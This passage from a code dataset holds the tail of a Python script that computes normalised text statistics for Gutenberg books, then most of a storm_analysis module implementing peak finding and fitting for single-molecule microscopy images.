tuple: name, author, avg_sent_len, num_unique_terms, adv_adj_pct\n\"\"\"\nimport statistics\n\nimport os\nfrom feature_extractor import Extractor\nimport pickle\nfrom textblob import TextBlob\n\ndef remove_negatives(list):\n out = []\n for i in list:\n if i >= 0.0:\n out.append(i)\n return out\ndef normalize_row(slist):\n #removes negatives from consideration\n #negatives are the result of an error or non-english text\n f_list = remove_negatives(slist)\n\n mean = statistics.mean(f_list)\n standard_deviation = statistics.stdev(f_list)\n if standard_deviation == 0.0:\n standard_deviation = 1.0\n out = []\n for i in slist:\n out.append((i-mean)/standard_deviation)\n return out\n\n\ndef processTexts(path):\n folders = [\"a1896/\", \"a861/\", \"a507/\", \"a481/\", \"a326/\", \"a314/\", \"a125/\", \"a111/\", \"a93/\", \"a69/\"]\n try:\n stat_dict = {}\n \"\"\"This code gets ALL files\n for folder in os.listdir(path):\n print(\"Opening\", folder)\n for filename in os.listdir(path+folder):\n \"\"\"\n stats = (\"\",\"\",\"\")\n stats_list = [[],[],[]]\n for folder in folders:\n count = 0\n for filename in os.listdir(path+folder):\n print(\"\\topening\", filename)\n f = open(path+folder+\"/\"+filename, \"r\")\n print(\"\\topened\")\n tb = TextBlob(f.read(900)[100:]) #look at characters 100-900\n if len(tb.words) > 0 and tb.detect_language() != \"en\":\n print(filename +\" is not an english text. skipping to next document\")\n f.close()\n stats = (-1,-1,-1)\n \n else:\n text = f.read()\n f.close()\n #get author/title later. use gutenberg IDs now\n\n ex = Extractor(text)\n try:\n stats = ex.dump(False)\n if stats[0] == 0:\n raise ZeroDivisionError\n\n #for a smaller dataset\n count += 1\n except ZeroDivisionError:\n print(\"Empty file.\")\n stats = (-1,-1,-1)\n for i in range(len(stats)):\n stats_list[i].append(stats[i])\n\n if folder not in stat_dict.keys():\n stat_dict[folder] = {filename:stats}\n else:\n stat_dict[folder][filename] = stats\n #for a smaller dataset, continued\n if count >= 15:\n break\n pickle.dump(stat_dict, open(\"sd_nonnormalized.p\", \"wb\"))\n pickle.dump(stats_list, open(\"sl_nonnormalized.p\", \"wb\"))\n\n \n print(\"Pickle of NON-NORMALIZED stats dumped.\")\n\n return stat_dict, stats_list\n\n \n except OSError:\n print(\"File(s) not found.\")\n return None\n\n\ndef normalize(stat_dict, stats_list):\n folders = [\"a1896/\", \"a861/\", \"a507/\", \"a481/\", \"a326/\", \"a314/\", \"a125/\", \"a111/\", \"a93/\", \"a69/\"]\n path = \"text/\"\n i = 0 #to loop through statlists\n #stats_list is a list of three lists (word count, avg sent len, % adv/adj) with a stat for each doc. it is terrible to read. our apologies.\n for i in range(len(stats_list)):\n stats_list[i] = normalize_row(stats_list[i])\n print(str(len(stats_list[2])))\n i = 0\n for folder in folders:\n for filename in os.listdir(path+folder):\n #skip over negative values, aka, texts that have been marked as non english or errors\n\n print(folder+\" \"+filename)\n if stats_list[0][i] >= 0:\n stat_dict[folder][filename] = (stats_list[0][i], stats_list[1][i], stats_list[2][i])\n i+=1\n \n print(\"Pickling...\")\n pickle.dump(stat_dict, open(\"sd_NORMAL.p\", \"wb\"))\n print(\"Pickle dumped.\")\n \n\ndef main():\n try:\n sd = pickle.load(open(\"sd_nonnormalized.p\", \"rb\"))\n sl = pickle.load(open(\"sl_nonnormalized.p\", \"rb\"))\n except FileNotFoundError:\n sd, sl = processTexts(\"text/\")\n try:\n normalize(sd, sl)\n except (OSError, FileNotFoundError):\n print(\"yer files done goofed\")\n\n\nmain()\n", "sub_path": "old_corpus_parser.py", "file_name": "old_corpus_parser.py", "file_ext": "py", "file_size_in_byte": 4347, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "statistics.mean", "line_number": 23, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 24, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 50, "usage_type": "call"}, {"api_name": "feature_extractor.Extractor", "line_number": 61, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 82, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 83, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 106, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 115, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 121, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 122, "usage_type": "call"}]} {"seq_id": "42047341", "text": "#!/usr/bin/env python\n\"\"\"\nThis contains some of what is common to all of the peak finding algorithms.\n\nHazen 03/17\n\"\"\"\nimport numpy\nimport os\nimport tifffile\n\nimport storm_analysis.sa_library.daxwriter as daxwriter\nimport storm_analysis.sa_library.i3dtype as i3dtype\nimport storm_analysis.sa_library.ia_utilities_c as utilC\nimport storm_analysis.sa_library.matched_filter_c as matchedFilterC\nimport storm_analysis.sa_library.parameters as params\nimport storm_analysis.sa_library.readinsight3 as readinsight3\n\nimport storm_analysis.simulator.draw_gaussians_c as dg\n\n#\n# Functions.\n#\ndef gaussianPSF(shape, sigma):\n \"\"\"\n Return a normalized 2D Gaussian, usually used for creating MatchedFilter objects.\n \"\"\"\n psf = dg.drawGaussiansXY(shape,\n numpy.array([0.5*shape[0]]),\n numpy.array([0.5*shape[1]]),\n sigma = sigma)\n return psf/numpy.sum(psf)\n\ndef getPeakLocations(peak_filename, margin, pixel_size, sigma):\n \"\"\"\n This is for if you already know where your want fitting to happen, as\n for example in a bead calibration movie and you just want to use the\n approximate locations as inputs for fitting.\n\n There are two choices for peak_locations file format:\n\n 1. A text file with the peak x, y, height and background values as \n white spaced columns (x and y positions are in pixels as determined \n using visualizer).\n\n 1.0 2.0 1000.0 100.0\n 10.0 5.0 2000.0 200.0\n ...\n\n 2. An Insight3 format localization file. In this case only the localizations\n in the first frame will be used.\n \"\"\"\n if os.path.exists(peak_filename):\n print(\"Using peak starting locations specified in\", peak_filename)\n elif os.path.exists(os.path.basename(peak_filename)):\n peak_filename = os.path.basename(peak_filename)\n print(\"Using peak starting locations specified in\", peak_filename)\n\n # Try to read file as if it was an Insight3 binary file.\n #\n # FIXME: This won't work properly for analysis with the 'inverted' parameter\n # set to True.\n #\n if readinsight3.checkStatus(peak_filename):\n is_text = False\n\n frame_number = 1\n with readinsight3.I3Reader(peak_filename) as i3r:\n i3_locs = i3r.getMoleculesInFrame(frame_number)\n\n peak_locations = i3dtype.convertToMultiFit(i3_locs, 1, 1, frame_number, pixel_size)\n\n else:\n is_text = True\n \n # Load peak x,y locations.\n peak_locs = numpy.loadtxt(peak_filename, ndmin = 2)\n\n # Create peak array.\n peak_locations = numpy.zeros((peak_locs.shape[0],\n utilC.getNPeakPar()))\n peak_locations[:,utilC.getXCenterIndex()] = peak_locs[:,1] - 1.0\n peak_locations[:,utilC.getYCenterIndex()] = peak_locs[:,0] - 1.0\n peak_locations[:,utilC.getHeightIndex()] = peak_locs[:,2]\n peak_locations[:,utilC.getBackgroundIndex()] = peak_locs[:,3]\n \n peak_locations[:,utilC.getXWidthIndex()] = numpy.ones(peak_locs.shape[0]) * sigma\n peak_locations[:,utilC.getYWidthIndex()] = numpy.ones(peak_locs.shape[0]) * sigma \n\n # Adjust positions for finding/fitting margin.\n peak_locations[:,utilC.getXCenterIndex()] += margin\n peak_locations[:,utilC.getYCenterIndex()] += margin\n\n print(\"Loaded\", peak_locations.shape[0], \"peak locations\")\n #\n # We return is_text as the caller might want to do different things if\n # the file is text, like initialize the Z value.\n #\n return [peak_locations, is_text]\n \ndef padArray(ori_array, pad_size):\n \"\"\"\n Pads out an array to a large size.\n\n ori_array - A 2D numpy array.\n pad_size - The number of elements to add to each of the \"sides\" of the array.\n \n The padded 2D numpy array.\n \"\"\"\n if (pad_size > 0):\n [x_size, y_size] = ori_array.shape\n lg_array = numpy.ones((x_size+2*pad_size,y_size+2*pad_size))\n lg_array[pad_size:(x_size+pad_size),pad_size:(y_size+pad_size)] = ori_array.astype(numpy.float64)\n lg_array[0:pad_size,:] = numpy.flipud(lg_array[pad_size:2*pad_size,:])\n lg_array[(x_size+pad_size):(x_size+2*pad_size),:] = numpy.flipud(lg_array[x_size:(x_size+pad_size),:])\n lg_array[:,0:pad_size] = numpy.fliplr(lg_array[:,pad_size:2*pad_size])\n lg_array[:,(y_size+pad_size):(y_size+2*pad_size)] = numpy.fliplr(lg_array[:,y_size:(y_size+pad_size)])\n return lg_array\n \n else:\n return ori_array\n\n\n#\n# Classes.\n#\ndef FittingException(Exception):\n pass\n\n\nclass PeakFinder(object):\n \"\"\"\n Base class for peak finding. This handles identification of peaks in an image.\n\n If you want to modify this with a custom peak finder or an alternative\n way to estimate the background, the recommended approach is to sub-class this\n class and then modify backgroundEstimator(), newImage() and peakFinder().\n \"\"\"\n # Hard-wired defaults.\n unconverged_dist = 5.0 # Distance between peaks for marking as unconverged (this is multiplied by parameters.sigma)\n new_peak_dist = 1.0 # Minimum allowed distance between new peaks and current peaks.\n \n def __init__(self, parameters = None, **kwds):\n \"\"\"\n This is called once at the start of analysis to initialize the\n parameters that will be used for peak fitting.\n \n parameters - A parameters object.\n \"\"\"\n super(PeakFinder, self).__init__(**kwds)\n \n # Initialized from parameters.\n self.find_max_radius = parameters.getAttr(\"find_max_radius\") # Radius (in pixels) over which the maxima is maximal.\n self.iterations = parameters.getAttr(\"iterations\") # Maximum number of cycles of peak finding, fitting and subtraction to perform.\n self.sigma = parameters.getAttr(\"sigma\") # Peak sigma (in pixels).\n self.threshold = parameters.getAttr(\"threshold\") # Peak minimum threshold in units of sigma (as in \"3 sigma effect\").\n \n # Other member variables.\n self.background = None # Current estimate of the image background.\n self.bg_filter = None # Background MatchedFilter object.\n self.camera_variance = None # Camera variance, only relevant for a sCMOS camera.\n self.check_mode = False # Run in diagnostic mode. Only useful for debugging.\n self.image = None # The original image.\n self.margin = PeakFinderFitter.margin # Size of the unanalyzed \"edge\" around the image.\n self.neighborhood = PeakFinder.unconverged_dist * self.sigma # Radius for marking neighbors as unconverged.\n self.new_peak_radius = PeakFinder.new_peak_dist # Minimum allowed distance between new peaks and current peaks.\n self.parameters = parameters # Keep access to the parameters object.\n self.peak_locations = None # Initial peak locations, as explained below.\n self.peak_mask = None # Mask for limiting peak identification to a particular AOI.\n \n # Print warning about check mode\n if self.check_mode:\n print(\"Warning! Running in check mode!\")\n \n # Only do one cycle of peak finding as we'll always return the same locations.\n if parameters.hasAttr(\"peak_locations\"):\n if (self.iterations != 1):\n print(\"WARNING: setting number of iterations to 1!\")\n self.iterations = 1\n \n def backgroundEstimator(self, image):\n \"\"\"\n This method does the actual background estimation. It is just a simple\n low pass filter.\n\n Override this if you want to change how the background is estimated.\n\n FIXME: Convolution should be weighted by the camera variance if it is \n not uniform?\n \"\"\"\n return self.bg_filter.convolve(image)\n\n def cleanUp(self):\n pass\n\n def findPeaks(self, fit_peaks_image, peaks):\n \"\"\"\n Finds the peaks in an image & adds to the current list of peaks.\n \n fit_peaks_image - The current fit image.\n peaks - The current list of peaks.\n \n return - [True/False if new peaks were added to the current list, the new peaks]\n \"\"\"\n\n # Use pre-specified peak locations if available, e.g. bead calibration.\n if self.peak_locations is not None:\n new_peaks = self.peak_locations\n \n # Otherwise, identify local maxima in the image and initialize fitting parameters.\n else:\n new_peaks = self.peakFinder(fit_peaks_image)\n\n # Update new peak identification threshold (if necessary).\n # Also, while threshold is greater than min_threshold we\n # are automatically not done.\n found_new_peaks = False\n if (self.cur_threshold > self.threshold):\n self.cur_threshold -= 1.0\n found_new_peaks = True\n\n # If we did not find any new peaks then we may be done.\n if (new_peaks.shape[0] == 0):\n return [found_new_peaks, peaks]\n\n # Add new peaks to the current list of peaks if it exists,\n # otherwise these peaks become the current list.\n if isinstance(peaks, numpy.ndarray):\n merged_peaks = self.mergeNewPeaks(peaks, new_peaks)\n \n # If none of the new peaks are valid then we may be done.\n if (merged_peaks.shape[0] == peaks.shape[0]):\n return [found_new_peaks, merged_peaks]\n else:\n return [True, merged_peaks]\n else:\n return [True, new_peaks]\n\n def mergeNewPeaks(self, peaks, new_peaks):\n \"\"\"\n Merge new peaks into the current list of peaks.\n \"\"\"\n return utilC.mergeNewPeaks(peaks,\n new_peaks,\n self.new_peak_radius,\n self.neighborhood)\n\n def newImage(self, new_image):\n \"\"\"\n This is called once at the start of the analysis of a new image.\n \n new_image - A 2D numpy array.\n \"\"\"\n # Make a copy of the starting image.\n self.image = numpy.copy(new_image)\n\n # Initialize new peak minimum threshold. If we are doing more\n # than one iteration we start a bit higher and come down to\n # the specified threshold.\n if(self.iterations>4):\n self.cur_threshold = self.threshold + 4.0\n else:\n self.cur_threshold = self.threshold + float(self.iterations)\n\n # Create mask to limit peak finding to a user defined sub-region of the image.\n if self.peak_mask is None:\n self.peak_mask = numpy.ones(new_image.shape)\n if self.parameters.hasAttr(\"x_start\"):\n self.peak_mask[0:self.parameters.getAttr(\"x_start\")+self.margin,:] = 0.0\n if self.parameters.hasAttr(\"x_stop\"):\n self.peak_mask[self.parameters.getAttr(\"x_stop\")+self.margin:-1,:] = 0.0\n if self.parameters.hasAttr(\"y_start\"):\n self.peak_mask[:,0:self.parameters.getAttr(\"y_start\")+self.margin] = 0.0\n if self.parameters.hasAttr(\"y_stop\"):\n self.peak_mask[:,self.parameters.getAttr(\"y_stop\")+self.margin:-1] = 0.0\n\n # Create filter objects if necessary.\n if self.bg_filter is None:\n\n # Create matched filter for background.\n bg_psf = gaussianPSF(new_image.shape, self.parameters.getAttr(\"background_sigma\"))\n self.bg_filter = matchedFilterC.MatchedFilter(bg_psf)\n\n #\n # Create matched filter for foreground as well as a matched filter\n # for calculating the expected variance of the background if it was\n # smoothed on the same scale as the foeground.\n #\n if self.parameters.hasAttr(\"foreground_sigma\"):\n if (self.parameters.getAttr(\"foreground_sigma\") > 0.0):\n fg_psf = gaussianPSF(new_image.shape, self.parameters.getAttr(\"foreground_sigma\"))\n self.fg_mfilter = matchedFilterC.MatchedFilter(fg_psf)\n self.fg_vfilter = matchedFilterC.MatchedFilter(fg_psf * fg_psf) \n\n def setVariance(self, camera_variance):\n \"\"\"\n Set the camera variance, usually used in sCMOS analysis.\n \"\"\"\n self.camera_variance = padArray(camera_variance, self.margin)\n return self.camera_variance\n \n def subtractBackground(self, image, bg_estimate):\n \"\"\"\n Estimate the background for the image.\n\n Note: image is the residual image after the found / fit\n localizations have been subtracted out.\n \n image - The image to estimate the background of.\n bg_estimate - An estimate of the background.\n \"\"\"\n\n # If we are provided with an estimate of the background\n # then just use it.\n if bg_estimate is not None:\n self.background = bg_estimate\n\n # Otherwise make our own estimate.\n else:\n self.background = self.backgroundEstimator(image)\n\n if self.check_mode:\n with tifffile.TiffWriter(\"bg_estimate.tif\") as tf:\n tf.save(numpy.transpose(self.background.astype(numpy.float32)))\n \n \nclass PeakFinderGaussian(PeakFinder):\n \"\"\"\n This is the peak finder for 3D-DAOSTORM and sCMOS, it handles Gaussian shaped \n peaks.\n \"\"\"\n def __init__(self, parameters = None, **kwds):\n \"\"\"\n This is called once at the start of analysis to initialize the\n parameters that will be used for peak fitting.\n \n parameters - A parameters object.\n \"\"\"\n kwds[\"parameters\"] = parameters\n super(PeakFinderGaussian, self).__init__(**kwds)\n\n # Initialized from parameters.\n self.z_value = self.parameters.getAttr(\"z_value\", 0.0) # The starting z value to use for peak fitting.\n \n # Other member variables.\n self.fg_mfilter = None # Foreground MatchedFilter object (may be None).\n self.fg_vfilter = None # Foreground variance MatchedFilter object, will be none if self.fg_mfilter is None.\n self.taken = None # Spots in the image where a peak has already been added.\n\n # Load peak locations if specified.\n #\n # FIXME: The starting z value is always 0.0. Not sure why we don't use\n # self.z_value for this. Though I guess it would only really be\n # relevant for the 'Z' fitting model.\n #\n if parameters.hasAttr(\"peak_locations\"):\n [self.peak_locations, is_text] = getPeakLocations(parameters.getAttr(\"peak_locations\"),\n self.margin,\n parameters.getAttr(\"pixel_size\"),\n self.sigma)\n\n def newImage(self, new_image):\n \"\"\"\n This is called once at the start of the analysis of a new image.\n \n new_image - A 2D numpy array.\n \"\"\"\n super(PeakFinderGaussian, self).newImage(new_image)\n \n # Reset taken mask.\n self.taken = numpy.zeros(new_image.shape, dtype=numpy.int32) \n\n def peakFinder(self, fit_peaks_image):\n \"\"\"\n This method does the actual peak finding.\n \n Override this if you want to change the peak finding behaviour.\n \"\"\"\n # Calculate background variance.\n #\n # Note the assumption here that we are working in units of photo-electrons\n # so Poisson statistics applies, variance = mean.\n #\n bg_var = self.background + fit_peaks_image\n\n # Add camera variance if set.\n if self.camera_variance is not None:\n bg_var += self.camera_variance\n\n # Calculate weighted variance if the image is being smoothed.\n if self.fg_vfilter is not None:\n bg_var = self.fg_vfilter.convolve(bg_var)\n\n if self.check_mode:\n with tifffile.TiffWriter(\"variances.tif\") as tf:\n tf.save(numpy.transpose(bg_var.astype(numpy.float32)))\n \n # Check for problematic values.\n #\n # Note: numpy will also complain when we try to take the sqrt of a negative number.\n #\n if self.check_mode: \n mask = (bg_var <= 0.0)\n if (numpy.sum(mask) > 0):\n print(\"Warning! zero and/or negative values detected in background variance!\")\n \n # Convert to standard deviation.\n bg_std = numpy.sqrt(bg_var)\n\n # Calculate foreground.\n foreground = self.image - self.background - fit_peaks_image\n \n # Calculate smoothed image if we have a foreground filter.\n if self.fg_mfilter is not None:\n foreground = self.fg_mfilter.convolve(foreground)\n\n if self.check_mode:\n with tifffile.TiffWriter(\"foreground.tif\") as tf:\n tf.save(numpy.transpose(foreground.astype(numpy.float32)))\n \n # Calculate foreground in units of signal to noise.\n foreground = foreground/bg_std\n \n if self.check_mode:\n with tifffile.TiffWriter(\"fg_bg_ratio.tif\") as tf:\n tf.save(numpy.transpose(foreground.astype(numpy.float32)))\n \n # Mask the image so that peaks are only found in the AOI.\n masked_image = foreground * self.peak_mask\n\n # Identify local maxima in the masked image.\n [new_peaks, self.taken] = utilC.findLocalMaxima(masked_image,\n self.taken,\n self.cur_threshold,\n self.find_max_radius,\n self.margin)\n\n # Fill in initial values for peak height, background and sigma.\n new_peaks = utilC.initializePeaks(new_peaks, # The new peaks.\n self.image, # The original image.\n self.background, # The current estimate of the background.\n self.sigma, # The starting sigma value.\n self.z_value) # The starting z value.\n \n return new_peaks\n\n\nclass PeakFinderArbitraryPSF(PeakFinder):\n \"\"\"\n This is the base class for Spliner and Pupilfn, it handles arbitrary\n PSF shapes possibly with multiple z values.\n \"\"\"\n def __init__(self, parameters = None, psf_object = None, **kwds):\n kwds[\"parameters\"] = parameters\n super(PeakFinderArbitraryPSF, self).__init__(**kwds)\n\n self.height_rescale = []\n self.fg_mfilter = []\n self.fg_mfilter_zval = []\n self.fg_vfilter = []\n self.psf_object = psf_object\n self.taken = []\n self.z_values = []\n\n #\n # Note: self.z_values is the Z position in 'internal' units, i.e. the units\n # that the PSF generation library uses. For splines for example this\n # is the spline size in Z.\n #\n # self.fg_mfilter_zval is the Z position in nanometers.\n #\n self.margin = psf_object.getMargin()\n\n self.fg_mfilter_zval = parameters.getAttr(\"z_value\", [0.0])\n for zval in self.fg_mfilter_zval:\n self.z_values.append(self.psf_object.getScaledZ(zval))\n\n if parameters.hasAttr(\"peak_locations\"):\n [self.peak_locations, is_text] = getPeakLocations(parameters.getAttr(\"peak_locations\"),\n self.margin,\n parameters.getAttr(\"pixel_size\"),\n self.sigma)\n\n zc_index = utilC.getZCenterIndex()\n # Set initial z value (for text files).\n if is_text:\n self.peak_locations[:,zc_index] = self.z_value[0]\n\n # Convert z value to PSF FFT units (Insight3 localization files).\n else:\n for i in range(self.peak_locations.shape[0]):\n self.peak_locations[i,zc_index] = self.psf_object.getScaledZ(self.peak_locations[i,zc_index])\n\n def newImage(self, new_image):\n \"\"\"\n This is called once at the start of the analysis of a new image.\n \n new_image - A 2D numpy array.\n \"\"\"\n super(PeakFinderArbitraryPSF, self).newImage(new_image)\n \n #\n # If does not already exist, create filter objects from\n # the PSF at different z values.\n #\n # As not all PSFs will be maximal in the center we can't just\n # use the image intensity at the center as the starting\n # height value. Instead we will use the intensity at the\n # peak center of the convolved image, then adjust this\n # value by the height_rescale parameter.\n #\n if (len(self.fg_mfilter) == 0):\n for zval in self.fg_mfilter_zval:\n psf = self.psf_object.getPSF(zval,\n shape = new_image.shape,\n normalize = False)\n psf_norm = psf/numpy.sum(psf)\n self.fg_mfilter.append(matchedFilterC.MatchedFilter(psf_norm))\n self.fg_vfilter.append(matchedFilterC.MatchedFilter(psf_norm * psf_norm))\n\n #\n # This is used to convert the height measured in the\n # convolved image to the correct height in the original\n # image, as this is the height unit that is used in\n # fitting.\n #\n # If you convolved a localization with itself the final\n # height would be sum(loc * loc). Here we are convolving\n # the localizations with a unit sum PSF, so the following\n # should give us the correct initial height under the\n # assumption that the shape of the localization is\n # pretty close to the shape of the PSF.\n # \n self.height_rescale.append(1.0/numpy.sum(psf * psf_norm))\n\n # Save a picture of the PSF for debugging purposes.\n if self.check_mode:\n print(\"psf max\", numpy.max(psf))\n filename = \"psf_{0:.3f}.tif\".format(zval)\n tifffile.imsave(filename, psf.astype(numpy.float32))\n\n self.taken = []\n for i in range(len(self.fg_mfilter)):\n self.taken.append(numpy.zeros(new_image.shape, dtype=numpy.int32))\n \n def peakFinder(self, fit_peaks_image):\n \"\"\"\n This method does the actual peak finding.\n \"\"\"\n all_new_peaks = None\n\n if self.check_mode:\n tifffile.imsave(\"fit_peaks.tif\", numpy.transpose(fit_peaks_image.astype(numpy.float32)))\n\n # Calculate background variance.\n #\n # Notes:\n #\n # 1. The assumption here is that we are working in units of photo-electrons\n # so Poisson statistics applies, variance = mean.\n #\n # 2. We use the absolute value of fit_peaks_image as some fitters (such as\n # Spliner) will sometimes return this array with negative values. This is\n # still probably not the correct way to handle this.\n #\n bg_var = self.background + numpy.abs(fit_peaks_image)\n\n # Add camera variance if set.\n if self.camera_variance is not None:\n bg_var += self.camera_variance\n \n #\n # Find peaks in image convolved with the PSF at different z values.\n #\n if self.check_mode:\n bg_tif = tifffile.TiffWriter(\"background.tif\")\n fg_tif = tifffile.TiffWriter(\"foreground.tif\")\n fg_bg_ratio_tif = tifffile.TiffWriter(\"fg_bg_ratio.tif\")\n \n for i in range(len(self.fg_mfilter)):\n\n # Estimate background variance at this particular z value.\n background = self.fg_vfilter[i].convolve(bg_var)\n \n # Check for problematic values.\n #\n # Note: numpy will also complain when we try to take the sqrt of a negative number.\n #\n if self.check_mode: \n mask = (background <= 0.0)\n if (numpy.sum(mask) > 0):\n print(\"Warning! zero and/or negative values detected in background variance!\")\n \n # Convert to standard deviation.\n bg_std = numpy.sqrt(background)\n\n # Calculate foreground.\n foreground = self.image - self.background - fit_peaks_image\n foreground = self.fg_mfilter[i].convolve(foreground)\n \n # Calculate foreground in units of signal to noise.\n fg_bg_ratio = foreground/bg_std\n \n if self.check_mode:\n bg_tif.save(numpy.transpose(background.astype(numpy.float32)))\n fg_tif.save(numpy.transpose(foreground.astype(numpy.float32)))\n fg_bg_ratio_tif.save(numpy.transpose(fg_bg_ratio.astype(numpy.float32))) \n\n # Mask the image so that peaks are only found in the AOI.\n masked_image = fg_bg_ratio * self.peak_mask\n \n # Identify local maxima in the masked ratio image.\n [new_peaks, taken] = utilC.findLocalMaxima(masked_image,\n self.taken[i],\n self.cur_threshold,\n self.find_max_radius,\n self.margin)\n\n # Fill in initial values for peak height, background and sigma.\n new_peaks = utilC.initializePeaks(new_peaks, # The new peaks.\n foreground + self.background, # Convolved image + background.\n self.background, # The current estimate of the background.\n self.sigma, # The starting sigma value.\n self.z_values[i]) # The starting z value.\n\n # Correct initial peak heights, self.height_rescale is an estimate\n # of the effect of PSF convolution on the height of the original\n # localization.\n h_index = utilC.getHeightIndex()\n new_peaks[:,h_index] = new_peaks[:,h_index] * self.height_rescale[i]\n \n if all_new_peaks is None:\n all_new_peaks = new_peaks\n else:\n all_new_peaks = numpy.append(all_new_peaks, new_peaks, axis = 0)\n\n if self.check_mode:\n fg_tif.close()\n fg_bg_ratio_tif.close()\n \n #\n # Remove the dimmer of two peaks with similar x,y values but different z values.\n #\n if (len(self.fg_mfilter) > 1):\n\n if self.check_mode:\n print(\"Before peak removal\", all_new_peaks.shape)\n if False:\n for i in range(all_new_peaks.shape[0]):\n print(all_new_peaks[i,:])\n print(\"\")\n \n all_new_peaks = utilC.removeClosePeaks(all_new_peaks, \n self.find_max_radius,\n self.find_max_radius)\n\n if self.check_mode:\n print(\"After peak removal\", all_new_peaks.shape)\n if False:\n for i in range(all_new_peaks.shape[0]):\n print(all_new_peaks[i,:])\n print(\"\")\n\n return all_new_peaks\n\n\nclass PeakFitter(object):\n \"\"\"\n Base class for peak fitting. This handles refinement of the\n parameters of the peaks that were identified with PeakFinder.\n\n The actual fitting is done by an the self.mfitter object, this\n is primarily just a wrapper for the self.mfitter object.\n \"\"\"\n\n def __init__(self, mfitter = None, parameters = None, **kwds):\n \"\"\"\n parameters - A (fitting) parameters object.\n \"\"\"\n super(PeakFitter, self).__init__(**kwds)\n \n self.image = None # The image for peak fitting.\n self.mfitter = mfitter # An instance of a sub-class of the MultiFitter class.\n\n self.sigma = parameters.getAttr(\"sigma\") # Peak sigma (in pixels).\n self.neighborhood = self.sigma*PeakFinder.unconverged_dist # Radius for marking neighbors as unconverged.\n\n def cleanUp(self):\n self.mfitter.cleanup()\n\n def fitPeaks(self, peaks):\n \"\"\"\n Performs a single iteration of peak fitting.\n \n peaks - A numpy array of peaks to fit.\n \n return - [updated peaks, fit peaks image]\n \"\"\"\n # Fit to update peak locations.\n [fit_peaks, fit_peaks_image] = self.peakFitter(peaks)\n fit_peaks = self.mfitter.getGoodPeaks(fit_peaks,\n 0.5*self.sigma)\n \n # Remove peaks that are too close to each other & refit.\n fit_peaks = utilC.removeClosePeaks(fit_peaks, self.sigma, self.neighborhood)\n [fit_peaks, fit_peaks_image] = self.peakFitter(fit_peaks)\n\n fit_peaks = self.mfitter.getGoodPeaks(fit_peaks,\n 0.5 * self.sigma)\n \n return [fit_peaks, fit_peaks_image]\n\n def newImage(self, new_image):\n \"\"\"\n new_image - A new image (2D numpy array).\n \"\"\"\n self.mfitter.newImage(new_image)\n\n def peakFitter(self, peaks):\n \"\"\"\n This method does the actual peak fitting.\n \"\"\"\n fit_peaks = self.mfitter.doFit(peaks)\n fit_peaks_image = self.mfitter.getFitImage()\n return [fit_peaks, fit_peaks_image]\n\n\nclass PeakFitterArbitraryPSF(PeakFitter):\n \"\"\"\n Class for arbitrary PSF based peak fitting.\n \"\"\"\n def __init__(self, **kwds):\n super(PeakFitterArbitraryPSF, self).__init__(**kwds)\n\n # Update refitting neighborhood parameter.\n self.neighborhood = int(0.5 * self.mfitter.getSize()) + 1\n\n def rescaleZ(self, peaks):\n \"\"\"\n Convert from fitting z units to microns.\n \"\"\"\n return self.mfitter.rescaleZ(peaks)\n\n \nclass PeakFinderFitter(object):\n \"\"\"\n Base class to encapsulate peak finding and fitting. \n\n To get an idea of how all the pieces are supposed to go together, please see:\n 3d_daostorm/find_peaks.py\n sCMOS/find_peaks.py\n \"\"\"\n \n margin = 10 # Size of the unanalyzed edge around the image. This is also\n # a constant in the C libraries, so if you change this you\n # also need to change that.\n\n def __init__(self, peak_finder = None, peak_fitter = None, **kwds):\n \"\"\"\n peak_finder - A PeakFinder object.\n peak_fitter - A PeakFitter object.\n \"\"\"\n super(PeakFinderFitter, self).__init__(**kwds)\n\n self.peak_finder = peak_finder\n self.peak_fitter = peak_fitter\n\n #\n # Update margin. Normally this is 10 as specified above for the\n # class variable, but the fitters that use splines may change this.\n #\n self.margin = self.peak_finder.margin\n\n def analyzeImage(self, movie_reader, save_residual = False, verbose = False):\n \"\"\"\n movie_reader - analysis_io.MovieReader object.\n save_residual - (Optional) Save the residual image after peak fitting, default is False.\n\n return - [Found peaks, Image residual]\n \"\"\"\n # Load image (in photo-electrons).\n [image, fit_peaks_image] = self.loadImage(movie_reader)\n\n # Load background estimate (in photo-electrons).\n bg_estimate = self.loadBackgroundEstimate(movie_reader)\n\n self.peak_finder.newImage(image)\n self.peak_fitter.newImage(image)\n\n if save_residual:\n resid_tif = tifffile.TiffWriter(\"residual.tif\")\n\n peaks = False\n for i in range(self.peak_finder.iterations):\n if save_residual:\n resid_tif.save(numpy.transpose((image - fit_peaks_image).astype(numpy.float32)))\n\n # Update background estimate.\n self.peak_finder.subtractBackground(image - fit_peaks_image, bg_estimate)\n\n # Find new peaks.\n [found_new_peaks, peaks] = self.peak_finder.findPeaks(fit_peaks_image, peaks)\n\n # Fit new peaks.\n if isinstance(peaks, numpy.ndarray):\n [peaks, fit_peaks_image] = self.peak_fitter.fitPeaks(peaks)\n\n if verbose:\n if isinstance(peaks, numpy.ndarray):\n print(\" peaks:\", i, found_new_peaks, peaks.shape[0])\n else:\n print(\" peaks:\", i, found_new_peaks, \"NA\")\n\n if not found_new_peaks:\n break\n\n if save_residual:\n resid_tif.save(numpy.transpose((image - fit_peaks_image).astype(numpy.float32)))\n resid_tif.close()\n\n if isinstance(peaks, numpy.ndarray):\n peaks[:,utilC.getXCenterIndex()] -= float(self.margin)\n peaks[:,utilC.getYCenterIndex()] -= float(self.margin)\n\n return [peaks, fit_peaks_image]\n\n def cleanUp(self):\n self.peak_finder.cleanUp()\n self.peak_fitter.cleanUp()\n\n def getConvergedPeaks(self, peaks, verbose = False):\n \"\"\"\n peaks - A 1D numpy array containing the peaks.\n \n return - A 1D numpy array containing only the converged peaks.\n \"\"\"\n if (peaks.shape[0] > 0):\n status_index = utilC.getStatusIndex()\n mask = (peaks[:,status_index] == 1.0) # 0.0 = running, 1.0 = converged.\n if verbose:\n print(\" \", numpy.sum(mask), \"converged out of\", peaks.shape[0])\n return peaks[mask,:]\n else:\n return peaks\n\n def 